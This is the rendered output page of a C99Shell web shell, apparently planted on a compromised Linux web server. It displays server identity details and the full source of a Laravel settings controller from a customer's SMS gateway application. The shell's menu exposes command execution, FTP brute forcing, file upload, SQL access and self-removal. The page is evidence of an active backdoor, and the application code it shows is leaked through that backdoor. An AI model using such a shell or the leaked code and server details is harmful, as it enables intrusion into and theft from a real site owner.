!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SettingsController.php (8.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\CustomerSettings;
use 
App\Models\SmsTemplate;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Hash;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Facades\Validator;
use 
Spatie\Permission\Models\Permission;
use 
Spatie\Permission\Models\Role;

class 
SettingsController extends Controller
{
    public function 
index()
    {
        
$customer auth('customer')->user();
        if(
$customer->type=='staff'){
            
$customer=$customer->staff;
        }

        
$data['customer'] = $customer;
        
$data['customer_plan'] =$customer->currentPlan();

        
$settings $customer->settings;
        
$customer_settings = [];
        foreach (
$settings as $setting) {
            
$customer_settings[$setting->name] = $setting->value;
        }
        
$data['sms_templates'] = SmsTemplate::where('customer_id'$customer->id)->get();

        
$data['customer_settings'] = $customer_settings;

        
$data['sending_settings'] = isset($customer_settings['sending_settings'])? (array)json_decode($customer_settings['sending_settings']) : [];
        
$data['timezone'] = $customer->settings()->where('name','timezone')->first();
        
$data['roles'] = Role::all();
        
$data['permissions'] = Permission::all();
        return 
view('customer.settings.index'$data);
    }


    public function 
permissionStore(Request $request)
    {
        
$authUser auth('customer')->user();
        
$validator Validator::make($request->all(), [
            
'role_name' => 'required|unique:roles,name',
        ]);

        if (
$validator->fails()) {
            return 
redirect()->back()->withErrors($validator)->withInput();
        }


        
$role Role::create(['name' => $request->role_name'guard_name'=>'web','customer_id' => $authUser->id]);
        
$permissions $request->permission;

        
$role->syncPermissions($permissions);

        return 
redirect()->back()->with('success'trans('Role Successfully Created'));

    }
    public function 
permissionUpdate(Request $request)
    {

        
$roleName $request->role_name;

        foreach (
$request->permission as $key => $permission) {

            
$role Role::where('id'$key)->first();
            if(
$role) {
                
$role->syncPermissions($permission);
            }
        }


        return 
redirect()->back()->with('success'trans('Permission Successfully Updated'));

    }

    public function 
roleDelete(Request $request)
    {
        
$authUser auth('customer')->user();
        
$role Role::where('name'$request->role)->where('customer_id'$authUser->id)->first();
        
$role->delete();

        return 
response()->json(['status'=>'success']);


    }
    public function 
profile_update(Request $request)
    {
        
$request->validate([
            
'first_name' => 'required',
            
'email' => 'required|unique:customers,email,' auth('customer')->id(),
            
'profile' => 'image'
        
]);

        
$user auth('customer')->user();
        
$user->first_name $request->first_name;
        
$user->last_name $request->last_name;
        
$user->email $request->email;

        if (
$request->hasFile('profile')) {
            
$file $request->file('profile');
            
$imageName time() . '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads'), $imageName);
            
$user->profile_picture $imageName;
        }
        
$user->save();
        return 
redirect()->back()->with('success''Profile successfully updated');
    }

    public function 
password_update(Request $request)
    {
        
$request->validate([
            
'old_password' => 'required',
            
'new_password' => 'required|min:6|confirmed',
        ]);
        if(
env('APP_DEMO')){
            return 
redirect()->back()->with('fail','Update is not available on demo mode');
        }

        
$customer auth('customer')->user();

        if (!
Hash::check($request->old_password$customer->password)) {
            return 
back()->with('fail''Invalid old password. Please try with valid password');
        }

        
$customer->password bcrypt($request->new_password); //remove the bcrypt
        
$customer->save();

        return 
redirect()->back()->with('success''Password successfully changed');

    }

    public function 
notification_update(Request $request)
    {
        
$request->validate([
            
'isChecked' => 'required|in:true,false'
        
]);
        
$data = [
            
'name' => 'email_notification',
        ];

        
$setting auth('customer')->user()->settings()->firstOrNew($data);
        
$setting->value $request->isChecked;
        
$setting->save();

        return 
response()->json(['status' => 'success''message' => 'Email notification updated']);
    }

    public function 
webhookUpdate(Request $request)
    {
        
$request->validate([
            
'type' => 'required|in:get,post',
        ]);

        
$data = [
            
'name' => 'webhook',
        ];
        
$customerNumbers auth('customer')->user()->numbers;

        
$setting auth('customer')->user()->settings()->firstOrNew($data);

        
$updatedId = [];
        foreach (
$customerNumbers as $customerNumber) {
            if (!
$customerNumber->webhook_url || isset(json_decode($setting->value)->url) && $customerNumber->webhook_url == json_decode($setting->value)->url) {
                
$updatedId[] = $customerNumber->id;
            }
        }

        
$setting->value json_encode($request->only('url''type'));
        
$setting->save();
        
$customerNumberUpdate $customerNumbers->whereIn('id'$updatedId);
        foreach (
$customerNumberUpdate as $update) {
            
$update->webhook_url $request->url;
            
$update->webhook_method $request->type;
            
$update->save();
        }

        return 
response()->json(['status' => 'success''message' => 'Webhook updated successfully']);
    }

    public function 
dataPosting(Request $request)
    {
        
$request->validate([
            
'type' => 'required|in:get,post',
        ]);

        
$data = [
            
'name' => 'data_posting',
        ];
        
$setting auth('customer')->user()->settings()->firstOrNew($data);
        
$setting->value json_encode($request->only('url''type'));
        
$setting->save();
        
cache()->flush();
        return 
response()->json(['status' => 'success''message' => 'Data Posting URL updated successfully']);
    }

    public function 
downloadSample($typeRequest $request)
    {
        if (
$type == 'group') {
            return 
response()->download(public_path('csv/sample-group.csv'));
        }
    }

    public function 
sending_setting(Request $request)
    {
        
$request->validate([
            
'minute_limit'=>'required|numeric|min:1'
        
]);

        
$customer_planauth('customer')->user()->currentPlan();

        if(
$customer_plan->daily_send_limit<$request->daily_send_limit){
            return 
redirect()->back()->with('fail','Daily send limit can not extend your plan limit')->withInput();
        }
        
$data = ['name' => 'sending_settings'];

        
$days = [];
        if (
$request->offday) {
            foreach (
$request->offday as $key => $day) {
                
$days[] = strtolower($day);
            }
        }

        
$request['offdays'] = json_encode($days);
        
$sendData $request->only('daily_send_limit''message_limit''minute_limit''start_time''end_time''offdays');
        
$setting auth('customer')->user()->settings()->firstOrNew($data);
        
$setting->value json_encode($sendData);
        
$setting->save();

        
cache()->flush();
        return 
redirect()->back()->with('success''Sending setting successfully updated');
    }
    public function 
time_zone(Request $request){
        
$request->validate([
            
'timezone' => 'required',
        ]);
        
$data = ['name' => 'timezone'];
        
$setting auth('customer')->user()->settings()->firstOrNew($data);
        
$setting->value $request->timezone;
        
$setting->save();
        
cache()->flush();
        return 
redirect()->back()->with('success''Timezone setting successfully updated');
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--